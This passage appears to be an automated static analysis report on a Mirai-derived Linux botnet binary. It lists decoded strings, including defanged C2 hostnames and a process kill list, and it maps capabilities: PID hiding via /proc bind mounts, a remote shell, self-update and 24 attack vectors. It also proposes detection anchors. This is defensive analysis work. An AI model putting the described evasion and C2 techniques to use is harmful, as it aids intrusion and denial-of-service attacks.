113	`/gm/bin`	0x2735f	ascii	0x40e5d2	strings_decode:custom
114	`/home/process`	0x27368	ascii	0x40e5e8	strings_decode:custom
115	`/var/challenge`	0x27377	ascii	0x40e5fe	strings_decode:custom
116	`/usr/lib`	0x27387	ascii	0x40e614	strings_decode:custom
117	`/usr/lib/openssh/sftp-server`	0x27391	ascii	0x40e62a	strings_decode:custom
118	`/home/`	0x273af	ascii	0x40e640	strings_decode:custom
119	`/lib/systemd/`	0x273b7	ascii	0x40e656	strings_decode:custom
120	`/usr/lib/systemd`	0x273c6	ascii	0x40e66c	strings_decode:custom
121	`/system/system/bin/`	0x273d8	ascii	0x40e682	strings_decode:custom
122	`/mnt/`	0x273ed	ascii	0x40e698	strings_decode:custom
123	`/home/helper`	0x273f4	ascii	0x40e6ae	strings_decode:custom
124	`/home/davinci`	0x27402	ascii	0x40e6c4	strings_decode:custom
125	`/usr/libexec/`	0x27411	ascii	0x40e6da	strings_decode:custom
126	`/sbin/`	0x27420	ascii	0x40e6f0	strings_decode:custom
127	`/bin/`	0x27428	ascii	0x40e706	strings_decode:custom
128	`/proc/`	0x2742f	ascii	0x40e718	strings_decode:custom
129	`/sys/`	0x27437	ascii	0x40e72e	strings_decode:custom
130	`/dev/`	0x2743e	ascii	0x40e744	strings_decode:custom
131	`/etc/`	0x27445	ascii	0x40e75a	strings_decode:custom
132	`/var/`	0x2744c	ascii	0x40e770	strings_decode:custom
133	`/tmp/`	0x27453	ascii	0x40e786	strings_decode:custom
134	`/opt/`	0x2745a	ascii	0x40e79c	strings_decode:custom
135	`/root/`	0x27461	ascii	0x40e7b2	strings_decode:custom
136	`/media/`	0x27469	ascii	0x40e7c8	strings_decode:custom
137	`/run/`	0x27472	ascii	0x40e7de	strings_decode:custom
138	`/var/log/`	0x27479	ascii	0x40e7f4	strings_decode:custom
139	`/var/run/`	0x27484	ascii	0x40e80a	strings_decode:custom
140	`/var/lib/`	0x2748f	ascii	0x40e820	strings_decode:custom
141	`/var/cache/`	0x2749a	ascii	0x40e836	strings_decode:custom
142	`/var/spool/`	0x274a7	ascii	0x40e84c	strings_decode:custom
143	`/var/tmp/`	0x274b4	ascii	0x40e862	strings_decode:custom
144	`init`	0x274bf	ascii	0x40e878	strings_decode:custom
145	`systemd`	0x274c5	ascii	0x40e88a	strings_decode:custom
146	`kthreadd`	0x274ce	ascii	0x40e8a0	strings_decode:custom
147	`ksoftirqd`	0x28272	ascii	0x40e8b6	strings_decode:custom
148	`migration`	0x274d8	ascii	0x40e8cc	strings_decode:custom
149	`rcu_`	0x274e3	ascii	0x40e8e2	strings_decode:custom
150	`khelper`	0x274e9	ascii	0x40e8f8	strings_decode:custom
151	`kdevtmpfs`	0x274f2	ascii	0x40e90e	strings_decode:custom
152	`netns`	0x274fd	ascii	0x40e924	strings_decode:custom
153	`perf`	0x2827d	ascii	0x40e93a	strings_decode:custom
154	`khungtaskd`	0x27504	ascii	0x40e950	strings_decode:custom
155	`writeback`	0x27510	ascii	0x40e966	strings_decode:custom
156	`crypto`	0x2751b	ascii	0x40e97c	strings_decode:custom
157	`bioset`	0x27523	ascii	0x40e992	strings_decode:custom
158	`kblockd`	0x2752b	ascii	0x40e9a8	strings_decode:custom
159	`ata_sff`	0x27534	ascii	0x40e9be	strings_decode:custom
160	`edac-poller`	0x27541	ascii	0x40e9ea	strings_decode:custom
161	`devfreq_wq`	0x28283	ascii	0x40ea00	strings_decode:custom
162	`kswapd0`	0x2754e	ascii	0x40ea16	strings_decode:custom
163	`ecryptfs-kthrea`	0x27557	ascii	0x40ea2c	strings_decode:custom
164	`kthrotld`	0x27568	ascii	0x40ea42	strings_decode:custom
165	`acpi_thermal_pm`	0x27572	ascii	0x40ea58	strings_decode:custom
166	`jbd2`	0x27583	ascii	0x40ea6e	strings_decode:custom
167	`ext4-rsv-conver`	0x27589	ascii	0x40ea84	strings_decode:custom
168	`iprt-VBoxWQueue`	0x2759a	ascii	0x40ea9a	strings_decode:custom
169	`kauditd`	0x275ab	ascii	0x40eab0	strings_decode:custom
170	`ipv6_addrconf`	0x275b4	ascii	0x40eac6	strings_decode:custom
171	`kstrp`	0x275c3	ascii	0x40eadc	strings_decode:custom
172	`irq/`	0x275ca	ascii	0x40eaf2	strings_decode:custom
173	`rcu_bh`	0x275d0	ascii	0x40eb08	strings_decode:custom
174	`rcu_sched`	0x275d8	ascii	0x40eb1e	strings_decode:custom
175	`rcuop`	0x275e3	ascii	0x40eb34	strings_decode:custom
176	`rcuog`	0x275ea	ascii	0x40eb4a	strings_decode:custom
177	`rcuos`	0x275f1	ascii	0x40eb60	strings_decode:custom
178	`rcuob`	0x275f8	ascii	0x40eb76	strings_decode:custom
179	`rcuoc`	0x275ff	ascii	0x40eb8c	strings_decode:custom
180	`telnetd`	0x27606	ascii	0x40eba2	strings_decode:custom
181	`udhcpc`	0x2760f	ascii	0x40ebb8	strings_decode:custom
182	`upnpd`	0x27617	ascii	0x40ebce	strings_decode:custom
183	`watchdog`	0x2761e	ascii	0x40ebe4	strings_decode:custom
184	`syslogd`	0x27628	ascii	0x40ebfa	strings_decode:custom
185	`klogd`	0x27631	ascii	0x40ec10	strings_decode:custom
186	`uhttpd`	0x27638	ascii	0x40ec26	strings_decode:custom
187	`uchttpd`	0x27640	ascii	0x40ec3c	strings_decode:custom
188	`pppd`	0x27649	ascii	0x40ec52	strings_decode:custom
189	`dhclient`	0x2764f	ascii	0x40ec68	strings_decode:custom
190	`systemd`	0x274c5	ascii	0x40ec7a	strings_decode:custom
191	`sshd`	0x27659	ascii	0x40ec90	strings_decode:custom
192	`kworker`	0x2765f	ascii	0x40eca6	strings_decode:custom
193	`sleep`	0x27668	ascii	0x40ecbc	strings_decode:custom
194	`usleep`	0x2766f	ascii	0x40ecd2	strings_decode:custom
195	`nanosleep`	0x27677	ascii	0x40ece8	strings_decode:custom
196	`select`	0x27682	ascii	0x40ecfe	strings_decode:custom
197	`poll`	0x2768a	ascii	0x40ed14	strings_decode:custom
198	`epoll_wait`	0x27690	ascii	0x40ed2a	strings_decode:custom
199	`/dev/console`	0x2769c	ascii	0x40ed40	strings_decode:custom
200	`socket`	0x276aa	ascii	0x40ed56	strings_decode:custom
201	`proc`	0x276b2	ascii	0x40ed6c	strings_decode:custom
202	`ash`	0x276b8	ascii	0x40ed82	strings_decode:custom
203	`bash`	0x276bd	ascii	0x40ed98	strings_decode:custom
204	`dash`	0x276c3	ascii	0x40edae	strings_decode:custom
205	`login`	0x276c9	ascii	0x40edc4	strings_decode:custom
206	`wget`	0x276d0	ascii	0x40edda	strings_decode:custom
207	`curl`	0x276d6	ascii	0x40edf0	strings_decode:custom
208	`tftp`	0x276dc	ascii	0x40ee06	strings_decode:custom
209	`ntpdate`	0x276e2	ascii	0x40ee1c	strings_decode:custom
210	`ftp`	0x276eb	ascii	0x40ee32	strings_decode:custom
211	`netcat`	0x276f4	ascii	0x40ee5e	strings_decode:custom
212	`adb`	0x276fc	ascii	0x40ee74	strings_decode:custom
213	`/proc/`	0x2742f	ascii	0x40ee86	strings_decode:custom
214	`/status`	0x27701	ascii	0x40ee9c	strings_decode:custom
215	`/exe`	0x2770a	ascii	0x40eeb2	strings_decode:custom
216	`/fd`	0x27710	ascii	0x40eec8	strings_decode:custom
217	`/mountinfo`	0x27715	ascii	0x40eede	strings_decode:custom
218	`/lib/`	0x27721	ascii	0x40eef4	strings_decode:custom
219	`/lib64/`	0x27728	ascii	0x40ef0a	strings_decode:custom
220	`/root/self/exe`	0x27731	ascii	0x40ef20	strings_decode:custom
221	`/proc/net/tcp`	0x27741	ascii	0x40ef36	strings_decode:custom
222	`/proc/self/exe`	0x2728d	ascii	0x40ef48	strings_decode:custom
223	`/home`	0x27750	ascii	0x40ef5e	strings_decode:custom
224	`/dev`	0x27757	ascii	0x40ef74	strings_decode:custom
225	`/var`	0x2775d	ascii	0x40ef9f	strings_decode:custom
226	`.updated`	0x27763	ascii	0x40efb1	strings_decode:custom
227	`.updated`	0x27763	ascii	0x40efc3	strings_decode:custom
228	`/proc/cpuinfo`	0x2776d	ascii	0x40efd9	strings_decode:custom
229	`/proc/meminfo`	0x2777b	ascii	0x40efef	strings_decode:custom
230	`/proc/version`	0x27789	ascii	0x40f005	strings_decode:custom
231	`/proc`	0x27797	ascii	0x40f01b	strings_decode:custom
232	`/dev/watchdog`	0x2779d	ascii	0x40f031	strings_decode:custom
233	`/dev/misc/watchdog`	0x277ab	ascii	0x40f047	strings_decode:custom
234	`processor`	0x277be	ascii	0x40f05d	strings_decode:custom
235	`free -m 2>/dev/null`	0x277c8	ascii	0x40f073	strings_decode:custom
236	`systemd`	0x277dc	ascii	0x40f089	strings_decode:custom
237	`telnetd`	0x277e4	ascii	0x40f09f	strings_decode:custom
238	`udhcpc`	0x277ec	ascii	0x40f0b5	strings_decode:custom
239	`upnpd`	0x277f3	ascii	0x40f0cb	strings_decode:custom
240	`watchdog`	0x277f9	ascii	0x40f0e1	strings_decode:custom
241	`syslogd`	0x27802	ascii	0x40f0f7	strings_decode:custom
242	`klogd`	0x2780a	ascii	0x40f10d	strings_decode:custom
243	`uhttpd`	0x27810	ascii	0x40f123	strings_decode:custom
244	`uchttpd`	0x27817	ascii	0x40f139	strings_decode:custom
245	`arm7`	0x2781f	ascii	0x40f16f	strings_decode:custom
246	`arm5`	0x27824	ascii	0x40f188	strings_decode:custom
247	`arm4`	0x27829	ascii	0x40f19e	strings_decode:custom
248	`arm`	0x2782e	ascii	0x40f1b4	strings_decode:custom
249	`mpsl`	0x27832	ascii	0x40f1cd	strings_decode:custom
250	`mips`	0x27837	ascii	0x40f1e6	strings_decode:custom
251	`x86_64`	0x2783c	ascii	0x40f1f8	strings_decode:custom
252	`amd64`	0x27843	ascii	0x40f20a	strings_decode:custom
253	`i686`	0x27849	ascii	0x40f21c	strings_decode:custom
254	`i386`	0x2784e	ascii	0x40f232	strings_decode:custom
255	`i586`	0x27853	ascii	0x40f248	strings_decode:custom
256	`unknown`	0x27859	ascii	0x40f25a	strings_decode:custom
257	`/bin/bash`	0x27861	ascii	0x40f270	strings_decode:custom
258	`/bin/dash`	0x2786b	ascii	0x40f286	strings_decode:custom
259	`/bin/zsh`	0x27875	ascii	0x40f29c	strings_decode:custom
260	`/bin/csh`	0x2787e	ascii	0x40f2b2	strings_decode:custom
261	`/bin/tcsh`	0x27887	ascii	0x40f2c8	strings_decode:custom
262	`bash`	0x27894	ascii	0x40f2f4	strings_decode:custom
263	`dash`	0x27899	ascii	0x40f30a	strings_decode:custom
264	`zsh`	0x2789e	ascii	0x40f320	strings_decode:custom
265	`csh`	0x278a2	ascii	0x40f336	strings_decode:custom
266	`tcsh`	0x278a6	ascii	0x40f34c	strings_decode:custom
267	`-sh`	0x278ab	ascii	0x40f362	strings_decode:custom
268	`-bash`	0x278af	ascii	0x40f378	strings_decode:custom
269	`/cmdline`	0x278b5	ascii	0x40f38e	strings_decode:custom
270	`reboot`	0x278be	ascii	0x40f3a4	strings_decode:custom
271	`shutdown`	0x278c5	ascii	0x40f3ba	strings_decode:custom
272	`halt`	0x278ce	ascii	0x40f3d0	strings_decode:custom
273	`poweroff`	0x278d3	ascii	0x40f3e6	strings_decode:custom
274	`sftp-server`	0x278dc	ascii	0x40f3fc	strings_decode:custom
275	`/fd/`	0x278e8	ascii	0x40f412	strings_decode:custom
276	`/maps`	0x278ed	ascii	0x40f424	strings_decode:custom
277	`/lib/`	0x27222	ascii	0x40f436	strings_decode:custom
278	`hackattackkaboom[.]botlesscucks[.]st`	0x278f3	ascii	0x40f44c	strings_decode:custom
279	`hik[.]gettingheadfromduckysmom[.]st`	0x27915	ascii	0x40f462	strings_decode:custom
280	`/sbin/crimetables`	0x27936	ascii	0x40f478	strings_decode:custom
281	`/sbin/crime-multi`	0x27949	ascii	0x40f48e	strings_decode:custom
282	`cat`	0x2795c	ascii	0x40f4a4	strings_decode:custom
283	`/bin/cat`	0x27960	ascii	0x40f4ba	strings_decode:custom
284	`CitizenFX/1`	0x2796e	ascii	0x40f4e6	strings_decode:custom
285	`Accept:/`	0x2797a	ascii	0x40f4fc	strings_decode:custom
286	`localhost`	0x27985	ascii	0x40f512	strings_decode:custom
287	`.php`	0x2798f	ascii	0x40f528	strings_decode:custom
288	`.txt`	0x27994	ascii	0x40f53e	strings_decode:custom
289	`.html`	0x27999	ascii	0x40f554	strings_decode:custom
290	`.css`	0x2799f	ascii	0x40f56a	strings_decode:custom
291	`.json`	0x279a4	ascii	0x40f580	strings_decode:custom
292	`.xml`	0x279aa	ascii	0x40f596	strings_decode:custom
293	`.png`	0x279af	ascii	0x40f5ac	strings_decode:custom
294	`.gif`	0x2828f	ascii	0x40f5c2	strings_decode:custom
295	`.asp`	0x279b4	ascii	0x40f5d8	strings_decode:custom
296	`.wasm`	0x279b9	ascii	0x40f5ee	strings_decode:custom
297	`.map`	0x279bf	ascii	0x40f604	strings_decode:custom
298	`0123456789abcdef`	0x279c4	ascii	0x40f61a	strings_decode:custom
299	`device`	0x279d5	ascii	0x40f630	strings_decode:custom
300	`14861879`	0x279dc	ascii	0x40f646	strings_decode:custom

Derived artifacts not shown as strings (8): files the analysis registered that hold no strings or config this section reads (a binary, an extracted archive, a layer's own bytes).

ID	Of	Path	Kind	Transform	SHA-256	Evidence	Why not shown
D2	L0	`out/L0/strtable/strings.json`	other	accepted entries of D1 with table, slot id, source VA and class	`2ca29039088127b3eba72b5eab4bac32c2589016a88cba13751a9066b040420d`	E22	kind other: not read for strings
D3	L0	`out/L0/strtable/summary.json`	other	counts by table, class and category over D2	`98d6077b5aa9b2f80abd94f35f81ee2df1f8ce850cee76a8b4a422b79e9a5fd7`	E35	kind other: not read for strings
D4	L0	`out/L0/strtable/controls.json`	other	decode controls: likeness, wrong-parameter variants, constant check	`8d5f74217d8a2d1675711d58efe611ec659bbf2e4c7ecb35e11f8c332410ef5d`	E37	kind other: not read for strings
D5	L0	`out/L0/strtable/census.json`	other	setter call-site census from the store init disassembly	`a96957dd5a3d926507aad562ed960e9bde5f07f68279e97eab3040ff219926ac`	E36	kind other: not read for strings
D6	L0	`out/L0/strtable/sites_meta.json`	other	per-site setter arguments recovered from the init disassembly	`f80d09bab268beda2932261c91c585e5280d830171cdad97a6ba83eca0ed4b9a`	E36	kind other: not read for strings
D7	L0	`out/L0/strtable/init_disasm.txt`	other	capstone disassembly of the store init function 0x40dba0	`c42c52fb17203e45f03e12a9d768a58652e6a98e87747fad588af3f43bb2a7e6`	E36	kind other: not read for strings
D8	L0	`out/L0/strtable/text_all.asm`	other	capstone disassembly of .text used to find the setter sites	`057d591fc1b5e185121ad4f99a91b008196e45e6e3181387e36360d6cf93ffe7`	E36	kind other: not read for strings
D9	L0	`out/L0/store_hosts.json`	other	hostname-class entries of D2 with slot ids	`0b57e2fb7b838ab1164e634588377f90d4bfeb600200c7a9f4325e2ee36d039f`	E24	kind other: not read for strings

Process map (static) 35

Where the code can create, replace, detach or signal processes, read from the call graph without running the sample: each site with the call path from the entry point. Branch conditions are not evaluated, so this is what the code can start, not what one run did; sites the graph does not reach from the entry are listed, never hidden.

L0

ELF x64: 35 sites (9 spawns a process, 3 replaces its image, 3 detaches (new session/group), 13 signals a process, 7 changes its own process (name, mounts)), 31 reached from the entry; daemon shape (spawn and detach in one function); 70 syscall sites read, 12 with a number not resolvable statically.

0x400b7f
  └ 0x400b95
    └ 0x417a32
      └ 0x4001d0 (main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop)   [fork, kill, setpgid, setsid]
        └ 0x4139d0 (overwrites argv[0] with a store process name padded with spaces)   [prctl]
        └ 0x414dca (as root, sets non-dumpable and a random store process name)   [mount, prctl]
          └ 0x41479d (bind-mounts a donor /proc/<pid> over its own)   [mount]
        └ 0x415de7   [kill]
        └ 0x4163d6   [fork, kill]
          └ 0x415c92   [fork, kill, prctl]
            └ 0x415c41   [kill]
          └ 0x415fc6 (/proc walker that kills matching processes (syscall profile))   [kill]
        └ 0x417403   [fork]
          └ 0x41720d (/proc walker with readlink (syscall profile))
            └ 0x416635   [kill]
        └ 0x4138f6
          └ 0x400f7d (parses an attack command (duration, vector, targets, options); 0xff kills children, 0xfe self-updates)   [execve, kill]
            └ 0x400d2b (forks the attack worker and calls the vector from the method table)   [fork, kill]
            └ 0x413ae0   [kill]
          └ 0x40aa12 (remote interactive shell over the C2: opens a pty, forks a shell with a prepared environment, relays data, closes on command)   [fork, setsid]
            └ 0x40a57f (learns the user and home values for the shell by running store-named programs and reading store-named files)
              └ 0x40d2bf (runs a program through pipe/fork/execve and collects its output; called by the user discovery 0x40a57f)   [execve, fork]
            └ 0x41bcc7
              └ 0x41bdbb   [execve]
        └ 0x40afc5
          └ 0x40a948 (ends the remote shell session)   [kill]
        └ 0x412d78 (single-instance lock on a loopback TCP port)
          └ 0x40cb5a (/proc walker with readlink and kill (syscall profile))   [kill]

Call	What it does	In function	Site	Path from the entry	Daemon shape
setpgid	detaches (new session/group)	0x4001d0 (main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop)	0040020c	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0
fork	spawns a process	0x4001d0 (main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop)	004003b7	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0	yes
setsid	detaches (new session/group)	0x4001d0 (main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop)	004003c4	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0
kill	signals a process	0x4001d0 (main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop)	00400858	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0
prctl	changes its own process (name, mounts)	0x4139d0 (overwrites argv[0] with a store process name padded with spaces)	00413a9b	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4139d0
mount	changes its own process (name, mounts)	0x414dca (as root, sets non-dumpable and a random store process name)	00414aea	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x414dca
prctl	changes its own process (name, mounts)	0x414dca (as root, sets non-dumpable and a random store process name)	00414df4	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x414dca
kill	signals a process	0x415de7	00415df7	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x415de7
fork	spawns a process	0x4163d6	00416408	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6
kill	signals a process	0x4163d6	00416591	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6
fork	spawns a process	0x417403	0041740a	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x417403
kill	signals a process	0x400f7d (parses an attack command (duration, vector, targets, options); 0xff kills children, 0xfe self-updates)	00400d19	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x400f7d
execve	replaces its image	0x400f7d (parses an attack command (duration, vector, targets, options); 0xff kills children, 0xfe self-updates)	0040c516	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x400f7d
kill	signals a process	0x40a948 (ends the remote shell session)	0040a98d	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x40afc5 → 0x40a948
fork	spawns a process	0x40aa12 (remote interactive shell over the C2: opens a pty, forks a shell with a prepared environment, relays data, closes on command)	0040ad37	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x40aa12	yes
setsid	detaches (new session/group)	0x40aa12 (remote interactive shell over the C2: opens a pty, forks a shell with a prepared environment, relays data, closes on command)	0040ad72	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x40aa12
kill	signals a process	0x40cb5a (/proc walker with readlink and kill (syscall profile))	0040ced6	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x412d78 → 0x40cb5a
mount	changes its own process (name, mounts)	0x41479d (bind-mounts a donor /proc/<pid> over its own)	0041485b	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x414dca → 0x41479d
fork	spawns a process	0x415c92	00415ca3	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6 → 0x415c92
prctl	changes its own process (name, mounts)	0x415c92	00415cbe	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6 → 0x415c92
kill	signals a process	0x415c92	00415db0	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6 → 0x415c92
kill	signals a process	0x415fc6 (/proc walker that kills matching processes (syscall profile))	00416247	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6 → 0x415fc6
fork	spawns a process	0x400d2b (forks the attack worker and calls the vector from the method table)	00400d4c	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x400f7d → 0x400d2b
kill	signals a process	0x400d2b (forks the attack worker and calls the vector from the method table)	00400da0	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x400f7d → 0x400d2b
kill	signals a process	0x413ae0	004175cf	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x400f7d → 0x413ae0
kill	signals a process	0x415c41	00415c80	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6 → 0x415c92 → 0x415c41
kill	signals a process	0x416635	0041666a	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x417403 → 0x41720d → 0x416635
kill	signals a process	0x416635	00416683	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x417403 → 0x41720d → 0x416635
fork	spawns a process	0x40d2bf (runs a program through pipe/fork/execve and collects its output; called by the user discovery 0x40a57f)	0040d306	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x40aa12 → 0x40a57f → 0x40d2bf
execve	replaces its image	0x40d2bf (runs a program through pipe/fork/execve and collects its output; called by the user discovery 0x40a57f)	0040d36e	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x40aa12 → 0x40a57f → 0x40d2bf
execve	replaces its image	0x41bdbb	0041bdc5	0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x40aa12 → 0x41bcc7 → 0x41bdbb
fork	spawns a process	0x406502	004067fc	not reached from the entry
prctl	changes its own process (name, mounts)	0x406502	00406819	not reached from the entry
fork	spawns a process	0x40939a	004093c1	not reached from the entry
prctl	changes its own process (name, mounts)	0x40939a	004093d6	not reached from the entry

Detection anchors 5

Features a detection rule could match on: what to match, where it sits in the file, how stable it is across builds, and what else might match it. They are proposals; CORD Detection measures them against clean software before any becomes a rule.

id	status	feature	scan type	scope	file	evidence	on disk	possible false matches	single sample only
A1	nominated	16-byte ChaCha20 constant stored XOR 0xa5 in .rodata, read by the string-store cipher	realtime	family	Original	E3, E4	yes	very low; the masked constant is not a natural byte run. Match anywhere in the file rather than at the offset across builds	no
A1 · where base file_offset delta 159520 window 4096
A1 · pattern kind bytes norm RAW value ref E4
A1 · how stable tier structural_constant why a fixed public constant under a fixed one-byte mask; changes only if the builder changes the mask or cipher evidence E3, E4
A2	nominated	attack-method table at the start of .data: 24 records of {u8 id 0..23, 7 zero bytes, u64 pointer into .text}, count 24 at +0x180	batch	family	Original	E7, E8	yes	other Mirai derivatives with the same vector count; the layout itself is shared by the lineage	no
A2 · where base section delta 0
A2 · pattern kind structure norm RELOC value ref E8
A2 · how stable tier behavioural_template why Mirai-lineage method table; ids sequential and count fixed by the vector set evidence E7, E8
A3	nominated	pid-hiding routine: builds two /proc/<pid> paths from a store prefix and calls mount with flags 0x1000 (MS_BIND), immediate operands masked	realtime	technique	Original	E12	yes	legitimate container tools bind-mount, but not /proc/<pid> onto /proc/<pid>; pair with A1 or A2	no
A3 · where base function delta 0
A3 · pattern kind bytes norm OPERAND value ref E12
A3 · how stable tier behavioural_template why compiler output of a small fixed routine; survives string-store re-keying evidence E12
A4	nominated	18-entry DNS resolver address table in .rodata used by the C2 resolver	realtime	build	Original	E17, E18	yes	network tools that embed public resolver lists in the same order; low for the full 72 bytes	no
A4 · where base file_offset delta 165984 window 4096
A4 · pattern kind bytes norm RAW value ref E18
A4 · how stable tier config why list chosen by the builder; may be edited between builds evidence E17, E18
A5	nominated	single-instance lock constants in one function: htonl(0x7f000001) and htons(0x4d2) beside socket(2,1,0)/bind/listen	realtime	family	Original	E9	yes	any program binding loopback port 1234; weak alone	no
A5 · where base function delta 0
A5 · pattern kind bytes norm OPERAND value ref E9
A5 · how stable tier behavioural_template why port is a build constant; the shape is Mirai lineage evidence E9

Open questions 6

Questions the analysis could not answer, what was tried, and why it stopped. Some may have been answered by a later step; check Decoded strings.

23 of 484 string-store sites fail the printable control, and the readers of the other hostname-class slots (0x8-0x10, 0x114, 0x13f-0x143) are not known.

what was tried: ChaCha20 decrypt of all 484 setter sites (E35, E36, E37): 461 accepted under the printable control, 3 wrong-parameter variants accept none, slot-to-class map for the analysed readers (E25, E34), read the C2 selector 0x413189 and port picker 0x413aaa (E29, E30): the C2 host is slots 0-7 and the port comes from the 0x4287e0 table
why it stopped: the 23 sites fail the printable-likeness control (short entries, likely binary values or a second scheme); no xref pass for slots 0x8-0x10 and 0x13f-0x143 was run
blocks: none
evidence: E35, E36, E29

Where the 32 bytes behind the C2 peer key live, and the exact hash/MAC primitives of the session.

what was tried: read the handshake 0x411a32, the peer-key derivation 0x411361 and the frame receive 0x412ad8/0x412010 (E31, E32): X25519 ephemeral key, peer key = clamp(hash(32 embedded bytes)), key expansion with a store label, 16-byte tag then ChaCha20
why it stopped: 0x4122e0 (source of the embedded bytes), 0x411241 (hash) and 0x412677 (MAC) were not opened; the capa HMAC/Curve25519 leads agree with the read but the primitives are not named by a read
blocks: none
evidence: E31, E32, E16

The shell relay 0x40a31c and the shell-message check 0x40b0b8.

what was tried: read 0x40aa12 in full (E26), the frame parser 0x40b0fb (E28) and the environment discovery 0x40a57f/0x40a86a (E27): the second command class is a remote PTY shell
why it stopped: the relay and the magic check were not opened; the shell itself is established
blocks: none

Protocol and packet template of each of the 24 attack vectors at 0x62b000.

what was tried: table dumped (out/L0/method_table.json); syscall profile per vector (out/L0/fn_syscalls.json)
why it stopped: vector bodies not read individually; a per-vector read matters for network signatures only
blocks: none

What the read-only marker page at 0x62bdc0 is used for after 0x40c8fe maps it.

what was tried: read 0x40c8fe, 0x40c6f4 and 0x40c63d (E33): one byte written to an existing file, a /proc-found mapping, a memfd or a 0600 file, then mapped PROT_READ; no copy of the binary is written, so it is not a persistence drop
why it stopped: the readers of 0x62bdc0 were not followed
blocks: none

Reach of 9 user functions (among them 0x401a5e and 0x4021f5, which connect and send) and 28 unresolved computed sites in reached code.

what was tried: Ghidra call graph plus the 24 attack-table slots as roots
why it stopped: native_callgraph.py and dispatch_reach.py parse PE only (PEFormatError on this ELF); no ELF code-slot pass was run
blocks: none

How the code connects

Shortest call paths from the entry points to every function the report cites. Dashed edges are address-taken or virtual references (callbacks, thread procs, delegates, tables), not direct calls. Select a cited function to jump to its code; zoom and drag to pan a large graph.

From Ghidra's call graph: 56 functions, 59 edges.

100%drag to panentry pointcitedon the wayreference

Paths as text · 43

main: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0
kills every tracked child pid except…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → parses an attack command 0x400f7d → kills every tracked child pid except… 0x400cd7
forks the attack worker and calls the…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → parses an attack command 0x400f7d → forks the attack worker and calls the… 0x400d2b
parses an attack command: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → parses an attack command 0x400f7d
learns the user and home values for the…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → remote interactive shell over the C2 0x40aa12 → learns the user and home values for the… 0x40a57f
finds the account-file entry whose uid…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → remote interactive shell over the C2 0x40aa12 → finds the account-file entry whose uid… 0x40a86a
ends the remote shell session: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x40afc5 → ends the remote shell session 0x40a948
remote interactive shell over the C2: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → remote interactive shell over the C2 0x40aa12
parses the shell message header: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → remote interactive shell over the C2 0x40aa12 → parses the shell message header 0x40b0fb
downloads a file over a TCP request and…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → parses an attack command 0x400f7d → 0x40c527 → self-update 0x40c42a → downloads a file over a TCP request and… 0x40b89c
self-update: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → parses an attack command 0x400f7d → 0x40c527 → self-update 0x40c42a
returns the decrypted store entry for a…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sets up the shared read-only marker page 0x40c8fe → returns the decrypted store entry for a… 0x40c607
maps a marker fd 0x1000 bytes PROT_READ…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sets up the shared read-only marker page 0x40c8fe → maps a marker fd 0x1000 bytes PROT_READ… 0x40c63d
scans per-process /proc files for a…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sets up the shared read-only marker page 0x40c8fe → scans per-process /proc files for a… 0x40c6f4
